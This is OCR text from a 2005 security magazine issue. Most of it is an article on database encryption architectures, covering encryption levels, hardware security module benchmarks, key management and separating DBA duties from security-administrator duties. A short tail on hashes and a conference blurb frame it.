to make something unreadable except for 
one recipient, who can decipher the infor- 
mation into something intelligible. This is 
not the case for cryptographic hashes. 
With them the intent is to generate a 
seemingly-random fixed-length number 
from a bunch of data — and produce the 
exact same results every time, but differ- 
ent results for nearly every possible data 
set. Hashes are most commonly used for 
passwords, and file verification. You want 
to be able to verify some data (let's say a 
password) — so you pass the information 
through a hash algorithm, and it pops out a 
number or string of characters. No matter 
how many times you do it, as long as the 
input is the same, you always get the same 
output. However, if the input changes, then 
so does the output. This is where hashes 
become useful — you can store the output 
of the hash, then compare some hashed 
information (for instance, if you type in 
your password) to the stored hash. If they 
are the same, then the input was the same. 

A hash's strength relies on the fact that it 
is absolutely impossible to get the original 
input information back out of a hash. This 
is true because all hashes for any specific 
algorithm have a constant output length. If 
you hash the letter "a" or a 40GiB file, the 
output length will be the same. A hash's 
strength also relies on the assumption that 
it is nearly impossible to create a collision 
— a set of input data that is not (usually 
not, anyways) the same as the original in- 
put, but creates the same output. Hashes 
have been in the news quite a bit lately, 
particularly SHA-1 and MD5. Both have 
been discovered to have collisions within 
the algorithm — meaning that it is easier 
than it was thought to create an input that 
has the same output as another set of in- 
put. The security of the algorithms was not 
completely compromised, just lowered. You 
are secure... for the moment. 



Zach Riggle is an aspiring, self-educated system administrator. 
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How do you protect privacy at the level of individual records in appli- 
cations, databases, and file systems? As data resources become net- 
worked in more complex three tier e-business applications, their vul- 
nerability to external attack grows. 



1 . INTRODUCTION 

Database security is a wide research area 
and includes topics such as statistical da- 
tabase security, intrusion detection, and 
most recently privacy preserving data min- 
ing, and related papers in designing infor- 
mation systems that protect the privacy 
and ownership of individual information 
while not impeding the flow of information. 

Encryption is the perfect technique to 
solve this problem. Prior work does not 
address the critical issue of performance. 
But in this work, we have addressed and 
evaluated the most critical issue for the 
success of encryption in databases, per- 
formance. To achieve that, we have ana- 
lysed different solution alternatives. There 
are two dimensions to encryption support 
in databases. One is the granularity of data 



to be encrypted or decrypted. The field, 
the row and the page, typically 4KB, are 
the alternatives. The field is the best 
choice, because it would minimize the 
number of bytes encrypted. However, as 
we have discovered, this will require meth- 
ods of embedding encryption within rela- 
tional databases or database servers. The 
second dimension is software versus 
hardware level implementation of encryp- 
tion algorithms. Our results show that the 
choice makes significant impact on the 
performance. We have discovered encryp- 
tion within relational databases based on 
hardware level implementation of encryp- 
tion algorithms entail a significant start up 
cost for an encryption operation. Each 
model also offers different operational 
performance, tuning possibilities, and en- 
cryption offloading capabilities. Only a few 
database brands are currently supporting 
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a row or the page level encryption that 
amortizes this cost over larger data. The 
loss of granular protection will impact the 
security level. 

1 .1 Alternative points of 
enforcement 

Implementing a data privacy solution can 
be done at multiple places within the en- 
terprise. There are implementation deci- 
sions to be made as well. Where will you 
perform the data encryption — inside or 
outside of the database? Your answer can 
affect the data's security. How do you cre- 
ate a system that minimizes the number of 
people who have access to the keys? Stor- 
ing the encryption keys separately from 
the data they encrypt renders information 
useless if an attacker found a way into the 
database through a backdoor in an appli- 
cation. In addition, separating the ability of 
administers to access or manage encryp- 
tion keys builds higher layers of trust and 
control over your confidential information 
infrastructure. There should be limited ac- 
cess to the means to decrypt sensitive in- 
formation - and this access should be 
locked down and monitored with suspi- 
cious activity logged. Choosing the point of 
implementation not only dictates the work 
that needs to be done from an integration 
perspective but also significantly affects 
the overall security model. The sooner the 
encryption of data occurs, the more se- 



cure the environment - however, due to 
distributed business logic in application 
and database environments, it is not al- 
ways practical to encrypt data as soon as 
it enters the network. 

Encryption performed by the DBMS can 
protect data at rest, but you must decide if 
you also require protection for data while 
it's moving between the applications and 
the database. How about while being proc- 
essed in the application itself, particularly 
if the application may cache the data for 
some period? Sending sensitive informa- 
tion over the Internet or within your corpo- 
rate network clear text, defeats the point 
of encrypting the text in the database to 
provide data privacy. Good security prac- 
tice is to protect sensitive data in both 
cases - as it is transferred over the net- 
work (including internal networks) and at 
rest. Once the secure communication 
points are terminated, typically at the net- 
work perimeter, secure transports are sel- 
dom used within the enterprise. Conse- 
quently, information that has been trans- 
mitted is in the clear and critical data is left 
unprotected. One option to solve this prob- 
lem and deliver a secure data privacy solu- 
tion is to selectively parse data after the 
secure communication is terminated and 
encrypt sensitive data elements at the 
SSL/Web layer. Doing so allows enterprises 
to choose at a very granular level (user- 
names, passwords, etc.) sensitive data and 
secure it throughout the enterprise. 



Where will you perform the data encryption - inside or outside of the database? 



Application-level encryption allows enter- 
prises to selectively encrypt granular data 
within application logic. This solution also 
provides a strong security framework and, 
if designed correctly, will leverage stan- 
dard application cryptographic APIs such 
as JCE (Java-based applications), MS-CAPI 
(Microsoft -based applications), and other 
interfaces. Because this solution interfaces 
with the application, it provides a flexible 
framework that allows an enterprise to de- 
cide where in the business logic the 
encryption/decryption should occur. Some 
of these applications include CRM, ERP, 
and Internet -based applications. This type 
of solution is well suited for data elements 



(e.g. credit cards, email addresses, critical 
health records, etc.) that are processed, 
authorized, and manipulated at the applica- 
tion tier. If deployed correctly, application- 
level encryption protects data against 
storage attacks, theft of storage media, 
and application-level compromises, and 
database attacks, for example from mali- 
cious DBAs. 

Although it is secure, application encryp- 
tion also poses some challenges. If data is 
encrypted at the application, then all appli- 
cations that access the encrypted data 
must be changed to support the 
encryption/decryption model. 
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Clearly, during the planning phase, an en- 
terprise must determine which applications 
will need to access the data that is being 
encrypted. Additionally, if an enterprise 
leverages business logic in the database in 
the form of stored procedures and trig- 
gers, then the encrypted data can break a 
stored procedure. As a result application- 
level encryption may need to be deployed 
in conjunction with database encryption so 
that the DBMS can decrypt the data to run 
a specific function. Finally, while leveraging 



cryptographic APIs is useful, the imple- 
mentation does require application code 
changes as well as some database migra- 
tion tasks to address field width and type 
changes as a result of encryption, if not 
type-preserving encryption is used. And 
while home-grown applications can be ret- 
rofitted, off the shelf applications do not 
ship with the source and often do not pro- 
vide a mechanism to explicitly make a 
cryptographic function call in the logic. 



Database-level encryption allows enterprises to secure data as it is written to 

and read from a database. 



Database-level encryption allows enter- 
prises to secure data as it is written to and 
read from a database. This type of de- 
ployment is typically done at the column 
level within a database table and, if cou- 
pled with database security and access 
controls, can prevent theft of critical data. 
Database-level encryption protects the 
data within the DBMS and also protects 
against a wide range of threats, including 
storage media theft, well known storage 
attacks, database-level attacks, and mali- 
cious DBAs. 

Database-level encryption eliminates all 
application changes required in the 
application-level model, and also addresses 
a growing trend towards embedding busi- 
ness logic within a DBMS through the use 
of stored procedures and triggers. 

Since the encryption/decryption only oc- 
curs within the database, this solution does 
not require an enterprise to understand or 
discover the access characteristics of ap- 
plications to the data that is encrypted. 
While this solution can certainly secure 
data, it does require some integration work 
at the database level, including modifica- 
tions of existing database schemas and 
the use of triggers and stored procedures 
to undertake encrypt and decrypt func- 
tions. Additionally, careful consideration 
has to be given to the performance impact 
of implementing a database encryption 
solution, particularly if support for accel- 
erated index-search on encrypted data is 
not used. 



First, enterprises must adopt an approach 
to encrypting only sensitive fields. Second, 
this level of encryption must consider lev- 
eraging hardware to increase the level of 
security and potentially to offload the 
cryptographic process in order to minimize 
any performance impact. The primary vul- 
nerability of this type of encryption is that 
it does not protect against application-level 
attacks as the encryption function is 
strictly implemented within the DBMS. 

Storage-level encryption enables enter- 
prises to encrypt data at the storage sub- 
system, either at the file level (NAS/DAS) 
or at the block level SAN. This type of en- 
cryption is well suited for encrypting files, 
directories, storage blocks, and tape me- 
dia. In today's large storage environments, 
storage-level encryption addresses a re- 
quirement to secure data without using 
LUN (Logical Unit Number) masking or zon- 
ing. While this solution can segment work- 
groups and provides some security, it pre- 
sents a couple of limitations. It only pro- 
tects against a narrow range of threats, 
namely media theft and storage system 
attacks. However, storage-level encryption 
does not protect against most application- 
or database-level attacks, which tend to be 
the most prominent type of threats to sen- 
sitive data. Current storage security 
mechanisms only provide block-level en- 
cryption; they do not give the enterprise 
the ability to encrypt data within an appli- 
cation or database at the field level. Con- 
sequently, one can encrypt an entire data- 
base, but not specific information housed 
within the database. 
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2. LOCK DOWN DATA WITH 
ENCRYPTION 

We considered several possible combina- 
tions of different encryption approaches, 
software and hardware level encryption, 
and different data granularity. We started 



with software encryption at field level and 
then developed search acceleration sup- 
port to index encrypted fields, and experi- 
enced a low performance overhead when 
searching on encrypted fields, including 
primary index fields. We directed our ex- 
periments to hardware level encryption 
mainly for master key encryption. 



Storage-level encryption does not protect against most 
application- or database-level attacks, which tend to be 
the most prominent type of threats to sensitive data. 




2.1 Software based encryption 

Initially we considered several encryption 
algorithms AES, RSA and b) Blowf ish for 
the implementation. We conducted ex- 
periments using these algorithms and 
found that the performance and security 
of the AES algorithm is better than the 
RSA implementation and the Blowfish algo- 
rithm implementation. AES is fast, com- 
pared to other well-known encryption algo- 
rithms such as DES. DES is a 64-bit block 
cipher, which means that data is encrypted 
and decrypted in 64-bit chunks. This has 
implication on short data. Even 8-bit data, 
when encrypted by the algorithm will result 
in 64 bits. We also implemented a secure 
method to preserve the type and length of 
the field after encryption, see below. The 
AES implementation was registered into 
the database as a user defined function 
(UDF) (also known as foreign function). 
Once it was registered, it could be used to 
encrypt the data in one or more fields - 
whenever data was inserted into the cho- 
sen fields, the values are encrypted before 
being stored. On read securely access, the 
stored data is decrypted before being op- 
erated upon. 

2.2 Hardware based encryption 

We studied the use of HSM FIPS-140-1 
level 3 Hardware Security Modules with a 
mix of hardware and software keys. The 



master key was created and encrypted / 
decrypted on HSM. The master key is not 
exposed outside the HSM. The cost of 
encryption/decryption consists of start up 
cost, which involves function and hardware 
invocation, and encryption/decryption al- 
gorithm execution cost, which is depended 
on the size of the input data. This implies 
that the start up cost is paid every time a 
row is processed by encryption. We used 
specialized encryption hardware from dif- 
ferent vendors, including IBM, Eracom, 
nCipher, and Chrysalis for this test. On of 
our test beds used the IBM S/390 Crypto- 
graphic Coprocessor, available under IBM 
OS/390 environment with Integrated Cryp- 
tographic Enterprise IT infrastructure 
component Facility (ICSF) libraries. 

IBM DB2 for OS/390 provides a facility 
called "editproc" (or edit routine), which 
can be associated with a database table. 
An edit routine is invoked for a whole row 
of the database table, whenever the row is 
accessed by the DBMS. We registered an 
encryption/decryption edit routine for the 
tables. When a read/write request arrives 
for a row in one of these tables, the edit 
routine invokes encryption/decryption al- 
gorithm, which is implemented in hard- 
ware, for whole row. We used the DES al- 
gorithm option for encryption hardware. 
The loss of granular column-level protec- 
tion will impact the security level. This is 
discussed and evaluated earlier. 
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2.3 Design of the encryption 
approach 

If we compare the response time for a 
query on unencrypted data with the re- 
sponse time for the same query over the 
same data, but with some or all of it en- 
crypted, the response time over encrypted 
data will increase due to both the cost of 
decryption as well as routine and/or hard- 
ware invocations. This increase is referred 
to as the encryption penalty. An observa- 
tion according to recent studies is that, 
different fields have different sensitivity. It 
is possible for Hybrid to support encryp- 
tion only on selected fields of selected ta- 
bles. Encryption, by its nature, will slow 
down most SQL statements. If some care 
and discretion are used, the amount of ex- 
tra overhead should be minimal. Also, en- 
crypted data will have a significant impact 
on your database design. In general, you 
want to encrypt a few very sensitive data 
elements in a schema, like Social security 
numbers, credit card numbers, patient 
names, etc. Some data values are not very 
good candidates for encryption — for ex- 
ample booleans (true and false), or other 
small sets like the integers 1 through 1 0. 
These values along with a column name 
may be easy to guess, so you want to de- 
cide whether encryption is really useful. 

Creating indexes on encrypted data is a 
good idea in some cases. Exact matches 



and joins of encrypted data will use the 
indexes you create. Since encrypted data 
is essentially binary data, range checking 
of encrypted data would require table 
scans. Range checking will require de- 
crypting all the row values for a column, so 
it should be avoided if not tuned appropri- 
ately with an accelerated search index. 

3. ENCRYPTION SERVICES 
ARCHITECTURES 

Each of these approaches has its advan- 
tages and disadvantages. Adding only cen- 
tral security and encryption support is not 
satisfactory, since it would always penalize 
system performance, and more impor- 
tantly, it is likely to open new security 
holes. 

Database security is a wide research area 
and includes topics such as statistical da- 
tabase security, intrusion detection, and 
most recently privacy preserving data min- 
ing. Users wishing to access data will now 
securely access it using the privacy man- 
agement infra structure instead of devel- 
oping multiple customized solutions for 
each application and data storage system. 
Applications and databases would not be 
impacted by an application specific imple- 
mentation. This would alleviate the problem 
of maintaining the software and adminis- 
trating privacy for each specific applica- 
tion and database. 



Encryption, by its nature, will slow down most SQL statements. 



3.1 Performance issues 

We studied the industry standard SQL 
benchmark as a model for workloads. 
Some simple sample tests on Oracle and 
DB2. The first benchmark was focus on a 
particular customer scenario. Subsequent 
benchmarks used a workload combined 
from multiple customer case studies. The 
technological aspects of developing data- 
base privacy as an enterprise IT infra- 
structure component lead to new research 
challenges. First and fore-most is the issue 
of encryption key management. Most cor- 
porations view their data as a very valu- 
able asset. The key management system 



would need to provide sufficient security 
measures to guard the distributed use of 
encryption keys. We propose a combined 
hardware and software based data en- 
cryption system as the solution to this 
problem. A distributed policy and audit ca- 
pability is proposed for the control the use 
of different encryption keys. Detailed in- 
vestigation of this solution is presented 
below. Since the interaction between the 
database and the enterprise IT infrastruc- 
ture component there are potential over- 
heads introduced by encryption. 

Therefore the sources of performance 
degradation and its significance should be 
determined. 
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3.2 A scalable encryption 
services model 

Fully Balanced and Scalable Encryption 
Services can be implemented as Network 
Attached Encryption Servers combined 
with local Encryption Services on Database 
Servers and Application Servers. This 
model scales with the number processors 
available on all the available Network At- 
tached Encryption Servers and local En- 
cryption Services on Database Servers and 
Application Servers. The model also offers 
a powerful load balancing between the all 
the processors on these servers. The en- 
cryption load can be distributed over a 
large number of distributed and affordable 
standard processors, located centrally and 
locally in relation to enterprise applications 
and data stores. The encryption operations 
can also utilize affordable standard HSM 
units, attached to central or local encryp- 
tion services. Some preliminary bench- 
marks showed a peak throughput of 
1 80,000 row-decryptions per second, on 
Unix on a multi-processor platform. 

3.3 Network attached 
encryption issues 

The Network Attached Encryption can be 
implemented as a Network Attached En- 
cryption Appliance that scales with the 
number of Network Attached Encryption 
Appliances available. The benchmarks 
showed a throughput of between 440 and 
1 ,1 00 row-decryptions per second. The 
benchmarks showed a linear scalability of 
this topology when adding additional data- 
base servers. A system with twelve data- 
base servers performed at 4,200 row- 
decryptions per second with five Network 
Attached Encryption Appliances. In prior 
work with IBM Research we addressed 
some critical performance issues when 
using HSM support. The benchmarks 
showed a high volume in network traffic 
and a high dependency of network band- 
with and availability with this model. A 
coming paper will address how to deal with 
the problems that are inherent to this ap- 
proach, in the areas of throughput, net- 
work latency issues, and scalability when 
using HSM support, and also how to pre- 



vent API level attacks when using HSM 
support, including Network Attached En- 
cryption Appliances. 

3.4 Hybrid data encryption 
services 

The Hybrid Database Encryption system is 
implemented as distributed processes that 
scales with the number of processors and 
database server available. The Hybrid solu- 
tion can also utilize an optional HSM in a 
way that allows the total encryption sys- 
tem to scale with the number of proces- 
sors available on the database servers. Our 
DB2 benchmarks at IBM showed a typical 
throughput of 1 80,000 row-decryptions 
per second, with 20 concurrent users. This 
translates to an ability to decrypt 1 87,000 
database table rows per second. The test 
tables included 80 bytes of encrypted data 
per row. We saturated all six RS6000 
processors at 1 00% utilization when we 
tested with 1 ,000 concurrent users. Some 
additional benchmarks with DB2, and Ora- 
cle showed a typical throughput in the 
range of 66,000 to 1 1 0,000 row- 
decryptions per second, on a two proces- 
sor, 3 GHz system with 3 GB RAM, running 
a Windows operating system. 

The benchmarks also showed a linear scal- 
ability of this topology when adding addi- 
tional database servers. A system with 
twelve database servers is estimated to 
perform at 2,100,000 row-decryptions per 
second. Additional tuning by adding an ac- 
celerated search index for encrypted col- 
umns, reduced the response-time and the 
number of rows to decrypt, by a factor 
between 1 0 and 30 for some of the que- 
ries in our Oracle test. This can be viewed 
as enabling a 'virtual throughput' in the 
range of 660,000 to 1 ,1 00,000 'virtual 
row-decryptions' per second, when com- 
paring to a solution that is not using an 
accelerated search index for encrypted 
columns. 

Some preliminary benchmarks with SQL 
Server showed a typical throughput in the 
range of 3,000 to 32,000 row-decryptions 
per second, depending on mix of column 
level encryption and table level encryption, 
and the amount of cached table data. 
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The initial SQL Server 2000 test used a 
low-end test system running Windows with 
a 1 .6 GHz processor, 1 GB Physical RAM, 
and 3 GB Virtual RAM. 

4. POLICY MANAGEMENT 

Current commercial RDBMSs support 
many different kinds of identification and 
authentication methods, among them are: 
password-based authentication, host- 
based authentication, PKI (Public Key In- 
frastructure) based authentication, third 
party-based authentications such as Ker- 
beros, DCE (Distributed Computing Envi- 
ronment) and smart cards. 

Essentially, all methods rely on a secret 
known only to the connecting user. It is 
vital that a user should have total control 
over her/his own secret. For example, only 
she/he should be able to change her/his 
password. Other people can change a 
user's password only if they are authorized 
to do so. In a DB system, a DBA can reset a 
user's password upon the user's request, 
probably because the user might have for- 



gotten her/his password. However the DBA 
can temporarily change a user's password 
without being detected and caught by the 
user, because the DBA has the capability 
to update (directly or indirectly) the sys- 
tem catalogs. 

4.1 The Security Policy 

A data directory consists of many catalog 
tables and views. It is generally recom- 
mended that users (including DBAs) do not 
change the contents of a catalog table 
manually. Instead, those catalogs will be 
maintained by the DB server and updated 
only through the execution of system 
commands. However, a DBA can still make 
changes in a catalog table if she/he wants 
to do so. To prevent unauthorized access 
to important security-related information, 
we introduce the concept of security cata- 
log. A security catalog is like a traditional 
system catalog but with two security prop- 
erties: It can never be updated manually by 
anyone, and its access is controlled by a 
strict authentication and authorization pol- 
icy. 



To prevent unauthorized access to important security-related information, we 

introduce the concept of security catalog. 



5. SEPARATION OF DUTIES 

Technically, if we allow a DBA to control 
security without any restriction, the whole 
system becomes vulnerable because if the 
DBA is compromised, the security of the 
whole system is compromised, which 
would be a disaster. However if we have a 
mechanism in which each user could have 
control over their own secrecy, the secu- 
rity of the system is maintained even if 
some individuals do not manage their se- 
curity properly. Access control is the major 
security mechanism deployed in all 
RDBMSs. It is based upon the concept of 
privilege. A subject (i.e., a user, an applica- 
tion, etc.) can access a database object if 
the subject has been assigned the corre- 
sponding privilege. Access control is the 
basis for many security features. Special 
views and stored procedures can be cre- 
ated to limit users' access to table con- 
tents. However, a DBA has all the system 
privileges. Because of their ultimate power, 



a DBA can manage the whole system and 
make it work in the most efficient way. 
However, they also have the capability to 
do the most damage to the system. With a 
separated security directory the security 
administrator sets the user permissions. 
Thus, for a commercial database, the se- 
curity administrator (SA) operates through 
separate middle-ware, the Access Control 
System (ACS), used for: authentication, 
verification, authorization, audit, encryp- 
tion and decryption. 

The ACS is tightly coupled to the database 
management system (DBMS) of the data- 
base. The ACS controls access in real-time 
to the protected fields of the database. 
Such a security solution provides separa- 
tion of the duties of a security administra- 
tor from a database administrator (DBA). 
The DBA's role could for example be to 
perform usual DBA tasks, such as extend- 
ing tablespaces etc, without being able to 
see (decrypt) sensitive data. 
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Thus, it is important to further separate 
the DBA's and the SA's privileges. For in- 
stance, if services are outsourced, the 
owner of the database contents may trust 
a vendor to administer the database. The 
DBA role then belongs to an external per- 
son, while the important SA role is kept 
within the company, often at a high man- 
agement level. Thus, there is a need for 
preventing a DBA to impersonate a user in 
a attempt to gain access to the contents of 
the database. The method comprises the 
steps of: adding a trigger to the table, the 
trigger at least triggering an action when 
an administrator alters the table through 
the database management system (DBMS) 
of the database; calculating a new pass- 
word hash value differing from the stored 
password hash value when the trigger is 
triggered; replacing the stored password 
hash value with the new password hash 
value. A similar authentication verification 
may also be implemented if VPN (Virtual 
Private Network) based connection and 
authentication is used. 

The first security-related component in an 
RDBMS (and actually in most systems) is 



user management. A user account needs 
to be created for anyone who wants to ac- 
cess database resources. However, how to 
maintain and manage user accounts is not 
a trivial task. User management includes 
user account creation, maintenance, and 
user authentication. A DBA is responsible 
for creating and managing user accounts. 
When a DBA creates an account for user 
Alice, they also specify how Alice is going 
to be authenticated, for example, by using 
a database password. The accounts and 
the related authentication information are 
stored and maintained in system catalog 
tables. When a user logs in, they must be 
authenticated in the exact way as specified 
in their account record. 

However, there is a security hole in this 
process. A DBA can impersonate any other 
user by changing (implicitly or explicitly) 
the system catalogs and they can do 
things on a user's behalf without being 
authorized/detected by the user, which is a 
security hole. A DBA's capability to imper- 
sonate other users would allow them to 
access other users' confidential data even 
if the data are encrypted. 




Searching for an exact match of an encrypted value within a 
column is possible, provided that the same initialization vector 
is used for the entire column. 



Searching for an exact match of an en- 
crypted value within a column is possible, 
provided that the same initialization vector 
is used for the entire column. On the other 
hand, searching for partial matches on en- 
crypted data within a database can be 
challenging and can result in full table 
scans if support for accelerated index- 
search on encrypted data is not used. 

One approach to performing partial 
searches, without prohibitive performance 
constraints and without revealing too 
much sensitive information, is to apply an 
HMAC to part of the sensitive data and 
store it in another column in the same row, 
if support for accelerated index-search on 
encrypted data is not used. For example, a 
table that stores encrypted customer email 
addresses could also store the HMAC of 



the first four characters of each email ad- 
dress. This approach can be used to find 
exact matches on the beginning or end of 
a field. One drawback to this approach is 
that a new column needs to be added for 
each unique type of search criteria. So if 
the database needs to allow for searching 
based on the first four characters as well 
as the last five characters, two new col- 
umns would need to be added to the table. 
However, in order to save space, the 
HMAC hash values can be truncated to ten 
bytes without compromising security in 
order to save space. This approach can 
prove to be a reasonable compromise es- 
pecially when combined with non-sensitive 
search criteria such as zip code, city, etc. 
and can significantly improve search per- 
formance if support for accelerated index- 
search on encrypted data is not used. 
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Encrypted columns can be a primary key 
or part of a primary key, since the encryp- 
tion of a piece of data is stable (i.e., it al- 
ways produces the same result), and no 
two distinct pieces of data will produce the 
same cipher text, provided that the key 
and initialization vector used are consis- 
tent. However, when encrypting entire col- 
umns of an existing database, depending 
on the data migration method, database 
administrators might have to drop existing 
primary keys, as well as any other associ- 
ated reference keys, and re-create them 
after the data is encrypted. For this rea- 
son, encrypting a column that is part of a 
primary key constraint is not recom- 
mended if support for accelerated index- 
search on encrypted data is not used. 

Since primary keys are automatically in- 
dexed there are also performance consid- 
erations, particularly if support for accel- 
erated index-search on encrypted data is 
not used. A foreign key constraint can be 
created on an encrypted column. However, 
special care must be taken during migra- 
tion. In order to convert an existing table 
to one that holds encrypted data, all the 
tables with which it has constraints must 



first be identified. All referenced tables 
have to be converted accordingly. 
In certain cases, the referential constraints 
have to be temporarily disabled or 
dropped to allow proper migration of exist- 
ing data. They can be re-enabled or recre- 
ated once the data for all the associated 
tables is encrypted. Due to this complexity, 
encrypting a column that is part of a for- 
eign key constraint is not recommended, if 
automated deployment tools are not used. 

Unlike indexes and primary keys, though, 
encrypting foreign keys generally does not 
present a performance impact. 

Indexes are created to facilitate the search 
of a particular record or a set of records 
from a database table. Plan carefully be- 
fore encrypting information in indexed 
fields. Look-ups and searches in large da- 
tabases may be seriously degraded by the 
computational overhead of decrypting the 
field contents each time searches are con- 
ducted if accelerated database indexes are 
not used. This can prove frustrating at 
first because most often administrators 
index the fields that must be encrypted - 
social security numbers or credit card 
numbers. 



When using Cipher Block Chaining mode of a block encryption algorithm, a 
randomly generated initialization vector is used and must be stored for future 

use when the data is decrypted. 



New planning considerations are needed 
when determining what fields to index; if 
accelerated database indexes are not 
used. Indexes are created on a specific 
column or a set of columns. When the da- 
tabase table is selected, and WHERE condi- 
tions are provided, the database will typi- 
cally use the indexes to locate the records, 
avoiding the need to do a full table scan. In 
many cases searching on an encrypted 
column will require the database to per- 
form a full table scan regardless of 
whether an index exists. For this reason, 
encrypting a column that is part of an in- 
dex is not recommended, if support for 
accelerated index-search on encrypted 
data is not used. 

When using CBC (Cipher Block Chaining) 
mode of a block encryption algorithm, a 



randomly generated initialization vector is 
used and must be stored for future use 
when the data is decrypted. Since the IV 
does not need to be kept secret it can be 
stored in the database. If the application 
requires having an IV per column, which 
can be necessary to allow for searching 
within that column, the value can be stored 
in a separate table. For a more secure de- 
ployment, but with limited searching capa- 
bilities if support for accelerated index- 
search on encrypted data is not used, an 
IV can be generated per row and stored 
with the data. In the case where multiple 
columns are encrypted, but the table has 
space limitations, the same IV can be re- 
used for each encrypted value in the row, 
even if the encryption keys for each col- 
umn are different, provided the encryption 
algorithm and key size are the same. 
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6. CONCLUSION 

We addressed scalability as a particularly 
vital problem and propose alternative solu- 
tions for data encryption as an enterprise 
IT infrastructure component. The Hybrid 
model implements a scalable approach for 
data privacy and security in which a secu- 
rity administrator protecting privacy at the 
level of individual fields and records, and 
providing seamless mechanisms to create, 
store, and securely access databases. 
Such a model alleviates the need for or- 
ganizations to purchase expensive hard- 
ware, deal with software modifications, and 
hire professionals for encryption key man- 
agement development tasks. We proposed, 
implemented, and evaluated different en- 



cryption schemes. We showed the drastic 
decrease in query execution times from 
distributed software level encryption. We 
believe, from our experience, database 
privacy as an infrastructure service is a 
viable model and has a good chance of 
emerging as a successful offering for 
most applications. In this paper, we ex- 
plore a new approach for data privacy and 
security in which a security administrator 
protecting privacy at the level of individual 
fields and records, and providing seamless 
mechanisms to create, store, and securely 
access databases. Such a model alleviates 
the need for organizations to purchase ex- 
pensive hardware, deal with software 
modifications, and hire professionals for 
encryption key management development 
tasks. 
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EUROPE 




The 1 Oth anniversary of Infosecurity Europe confirmed the show as Europe's most comprehensive con- 
vergence of information security professionals with more than 1 0,000 attendees and 259 stands packed 
with the latest security technology. There were over 1 20 new product launches at the event. 

(IN)SECURE Magazine was launched at the show and therefore it's only natural we bring you some photos 
from the conference. If you want to take a walk through Infosecurity 2005 check out our showcase video 
located at www.net-security.org/article.php?id=786 
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